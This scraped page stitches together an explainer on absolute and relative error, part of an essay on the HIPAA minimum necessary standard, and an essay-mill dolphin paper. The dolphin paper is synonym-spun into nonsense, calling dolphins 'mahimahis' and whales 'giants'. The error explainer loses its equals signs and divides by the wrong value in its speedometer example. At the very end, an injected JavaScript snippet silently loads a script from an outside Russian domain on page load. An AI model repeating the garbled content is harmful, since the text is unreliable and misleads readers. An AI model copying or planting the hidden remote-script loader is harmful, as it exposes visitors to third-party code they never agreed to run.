Absolute and Relative Error Calculation

Absolute error and relative error are two types of experimental error. Youll need to calculate both types of error in science, so its good to understand the difference between them and how to calculate them. Absolute Error Absolute error is a measure of how far off a measurement is from a true value or an indication of the uncertainty in a measurement. For example, if you measure the width of a book using a ruler with millimeter marks, the best you can do is measure the width of the book to the nearest millimeter. You measure the book and find it to be 75 mm. You report the absolute error in the measurement as 75 mm /- 1 mm. The absolute error is 1 mm. Note that absolute error is reported in the same units as the measurement. Alternatively, you may have a known or calculated value and you want to use absolute error to express how close your measurement is to the ideal value. Here absolute error is expressed as the difference between the expected and actual values. Absolute Error Actual Value - Measured Value For example, if you know a procedure is supposed to yield 1.0 liters of solution and you obtain 0.9 liters of solution, your absolute error is 1.0 - 0.9 0.1 liters. Relative Error You first need to determine absolute error to calculate relative error.  Relative error expresses how large the absolute error is compared with the total size of the object you are measuring. Relative error is expressed as a fraction or is multiplied by 100 and expressed as  a percent. Relative Error Absolute Error / Known Value For example, a drivers speedometer says his car is going 60 miles per hour (mph) when its actually going 62 mph. The absolute error of his speedometer is 62 mph - 60 mph 2 mph. The relative error of the measurement is 2 mph / 60 mph 0.033 or 3.3% Sources Hazewinkel, Michiel, ed. (2001). Theory of Errors. Encyclopedia of Mathematics. Springer ScienceBusiness Media B.V. / Kluwer Academic Publishers. ISBN 978-1-55608-010-4.Steel, Robert G. D.; Torrie, James H. (1960). Principles and Procedures of Statistics, With Special Reference to Biological Sciences. McGraw-Hill.

HIPAA Minimum Necessary Standard Violations - 566 Words

Minimum Necessary Standard The HIPAA Rules require that when a HIPAA covered entity a provider, a plan, a clearinghouse or a business associate of a covered entity uses or discloses PHI, or when it requests PHI from another covered entity or business associate, the covered entity or business associate must make reasonable efforts to limit PHI to the minimum necessary to accomplish the intended purpose of the use, disclosure, or request. (Duane Morris LLP , 2013) Under the HIPAA Rules, covered entities and business associates are required to identify which workforce members need access to what kind of PHI to carry out their job functions. In addition under the HIPAA Rules, covered entities and business associates are required to establish protocols that define the minimum necessary amount of PHI for routine uses, disclosures and requests, and how to apply the minimum necessary standard with respect to non-routine uses, disclosures and requests. Minimum necessary violations should be investigated and, if appropr iate, reported according to the new breach notification rules. Business associates may be directly liable for minimum necessary standard violations. Covered entities may be liable for business associates minimum necessary standard violations. Important Employee Notes: †¢ Staff access to information must be based on the positions duties. †¢ Minimum information needed to do ones job is standard. †¢ All employees are expected to exercise reasonable efforts not to use orShow MoreRelatedCan A Patient File Suit Against Me For Violating Hipaa?995 Words   |  4 Pagesa patient file suit against me for violating HIPAA? The answer is no. If a patient’s rights are violated under Health Insurance Portability and Accountability Act (â€Å"HIPAA†), the patient does not have a specific private right of action. This means that a patient cannot use a HIPAA violation as a direct cause of action in a privacy lawsuit. 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Dolphins Essay Research Paper DolphinsDolphins are mammals free essay sample

Dolphinfishs Essay, Research Paper Dolphinfishs Dolphinfishs are mammals closely related to giants and porpoises. Dolphinfishs hold a powerful and streamlined organic structure. They are found in all seas and oceans. Dolphinfishs can be told apart from porpoises by their olfactory organ, which is beaklike, and besides their conelike dentitions. Porpoises have a flatter olfactory organ, sharper dentition, and a more solid organic structure. There are 32 known species of mahimahis. The bottle-nosed mahimahi is frequently the species used in aquatic shows. The common mahimahi inspired many Mediterranean common people traditional knowledges. Both of the mahimahis above appear in unfastened Waterss, normally around sail ships. They like to demo off around the boat. There are besides freshwater mahimahis that live in rivers of Asia and South America. The Buffeo mahimahi has been spotted up to 1250 stat mis up he Amazon River. The buffeo is the smallest of all mahimahis averaging about 4 pess. The bottle-nosed dolphin is closer to 10 pess. We will write a custom essay sample on Dolphins Essay Research Paper DolphinsDolphins are mammals or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page The slayer giant, which is besides considered a mahimahi, can turn to be 30 pess long. The pilot giant is besides considered a mahimahi. Dolphinfishs were one time hunted by commercial boats for the little sum of oil that can be extracted from their organic structure. This oil is used to lubricate little parts in tickers. Cheaper oils have been found, so mahimahis are non hunted for this ground any longer. Dolphinfishs can be caught in tuna cyberspaces by accident. Since mahimahis have to breath at the surface they drown in tuna cyberspaces. It is estimated that 4.8 million mahimahis were killed in tuna cyberspaces from 1959 to 1972. Under force per unit area from carnal rights militants tuna consumers will non accept tuna from canners that do non protect mahimahis. Animal rights militants besides believe that mahimahis shouldn # 8217 ; t be in imprisonment for usage in aquatic shows. Dolphinfishs eat a batch of nutrient in a twenty-four hours, normally about one tierce of their organic structure weight. A dolphin # 8217 ; s diet consists of largely fish and calamari. Dolphinfishs can swim really fast, so they are able to easy catch their nutrient. The mahimahi has 200 to 250 crisp dentitions. Dolphinfishs follow schools of fish in groups. The Pacific white-sided species is estimated to go in groups with 10s of 1000s of members, while on the other manus bottle-nosed dolphin mahimahis travel in groups that contain merely a few members. Dolphin, like giants, breathe through a blowhole in the top of their caput. While going mahimahis break the surface one time every two proceedingss. When mahimahis exhale H2O is sometimes thrown from the blowhole. After expiring the mahimahis inhale and disappear into the ocean. A dolphins lungs are adapted to defy the physical jobs that are caused by speedy alterations in force per unit area. With this version dolphins can plunge up to 1000 pess with no job. / gt ; A mahimahis tail is, like all other aquatic mammals, moves in an up and down gesture. Dolphins dual fluke their narrative to travel frontward. Their fins are used to stabilise the mahimahi as they swim. A mahimahi is really streamlined and can average a velocity of up to 19 stat mis per hr with explosions of over 25 stat mis per hr. At these velocities, mahimahis can cover great distances in a twenty-four hours. The best studied species of mahimahis are the bottle-nosed. Bottle-nosed mahimahis reach sexual adulthood at the ages of 5 to 12 old ages in females and 9 to 13 old ages in males. Dolphinfishs mate in the spring. The mahimahis carry the babe, which is called a calf, for 11 to 12 months. At this clip a individual calf is born, coming out tail foremost. Calfs can swim and take a breath proceedingss after birth. A calf will nurse for up to 18 months. Calfs can maintain up with their female parent by staying close and taking advantage of it # 8217 ; s female parents aerodynamic swimming. Dolphins about ever emit either snaping sounds or whistlings. The chinks are short pulsations of about 300 sounds per second, which come from a mechanism located merely below a mahimahi # 8217 ; s blowhole. These chinks are used to locate objects around a mahimahi. When the sound of a click bouncinesss off of an object and back to the mahimahi, the dolphin uses that information to travel without hitting anything. This clicking system is similar to a chiropterans radio detection and ranging system. The whistlings are single-toned squeals that come from deep in the voice box. These whistlings are used to pass on dismay, sexual exhilaration, and possibly other emotions. Because of mahimahis ability to larn and execute complex fast ones in imprisonment, their uninterrupted communicating with one another, and their ability, with preparation, to understand a few human words, some scientists think that mahimahis could larn a linguistic communication to pass on with worlds. Most experts agree that even though a mahimahis problem-solving ability is close to that of a archpriest, no grounds has been shown that mahimahis communicating accomplishments even come near to the complexness of a true linguistic communication. All dolphins belong to the order of Cetacea. The bottle-nosed mahimahi is scientifically classified as Tursiops truncatus. The common mahimahi is classified as Delphinus Delphi, and the buffeo mahimahi is classified as Sotalia fluviatilis. The slayer giant is classified as Orcinus killer whale and the white-sided mahimahi is classified as Lagenorhynchus obliquidens. The Dolphinfishs are besides a football squad located in Miami. They normally drama good in the regular season, but when playoff clip axial rotations around the squad falls apart. I do non like the Dolphins and I wish that they would retreat from the National Football League. The End! ! ! ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;